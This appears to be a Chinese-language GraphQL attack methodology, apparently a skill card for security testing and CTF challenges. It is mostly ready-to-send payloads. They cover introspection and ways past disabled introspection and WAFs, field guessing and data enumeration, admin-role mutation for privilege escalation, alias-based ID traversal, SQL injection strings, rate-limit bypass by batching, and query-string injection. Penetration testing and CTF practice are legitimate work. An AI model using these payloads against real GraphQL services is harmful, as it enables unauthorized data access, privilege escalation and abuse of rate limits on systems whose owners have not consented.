graphql-methodology
DevOps & SecurityGraphQL API 安全测试。当发现 /graphql 端点、POST JSON 查询、GraphQL Playground/Explorer 页面、响应中有 data/errors JSON 结构时使用。包含 Introspection 泄露、注入攻击、权限绕过、嵌套查询 DoS
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GraphQL 攻击方法论
Phase 1: 发现GraphQL端点
常见路径: /graphql, /api/graphql, /graphiql, /v1/graphql, /query
检测: POST {"query":"{ __typename }"} → 返回 {"data":{"__typename":"Query"}} 即确认
Phase 2: Introspection 查询(最重要)
获取完整Schema:
{"query":"{ __schema { types { name fields { name type { name } } } } }"}
精简版(只看Query和Mutation):
{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}
Introspection结果包含所有类型定义和字段 — 这是最重要的信息源
2.1 Introspection 被禁用时的绕过
方法 1: Field Suggestion(字段建议) GraphQL 引擎对拼写错误会建议正确字段名:
{"query":"{ __typena }"}
→ "Did you mean '__typename'?"
利用这个特性枚举字段:发送错误的字段名,从建议中获取真实字段名。
方法 2: GET 请求绕过 有些 WAF 只拦截 POST 的 Introspection,用 GET 绕过:
GET /graphql?query={__schema{types{name,fields{name}}}}
方法 3: 别名/Fragment 绕过
{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}
方法 4: 空白/换行变体
{"query":"\n{ __schema\n{ types\n{ name } } }"}
GraphQL 字段名大小写敏感,标准 introspection 字段是
__schema;__SCHEMA不是有效的大小写绕过。
方法 5: 逐字段猜测 如果以上都不行,根据常见命名猜测:
{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}
Phase 3: 数据枚举
根据Schema逐个查询:
{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}
注意隐藏字段(Schema中有但页面未展示的字段)
Phase 4: 权限绕过
- 直接查询管理字段:
{"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"} - 嵌套查询(Batch攻击):
{"query":"{ user(id:1){flag} user2:user(id:2){flag} }"} - 别名遍历ID:
{"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}
Phase 5: 注入
GraphQL参数中的SQL注入:
{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}
Phase 6: 高级技巧
- 工具辅助:Clairvoyance、graphql-cop 等自动化工具帮助发现隐藏字段
- 批量查询(Batching):单个查询中一次请求多个结果
{a:user(id:1){name} b:user(id:2){name}} - WAF 绕过:URL 编码(
%7B)编码绕过;换行/空格变体
CTF GraphQL 技巧补充
别名批量操作绕过速率限制
单个请求中用别名重复同一 mutation(如投票/认证)绕过频率限制:
mutation {
a1: vote(id: "target") { ok }
a2: vote(id: "target") { ok }
# 重复 N 次...
}
也可用数组批量: POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]
字符串插值注入
当服务端拼接 GraphQL 查询字符串时,类似 SQLi 的注入:
// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation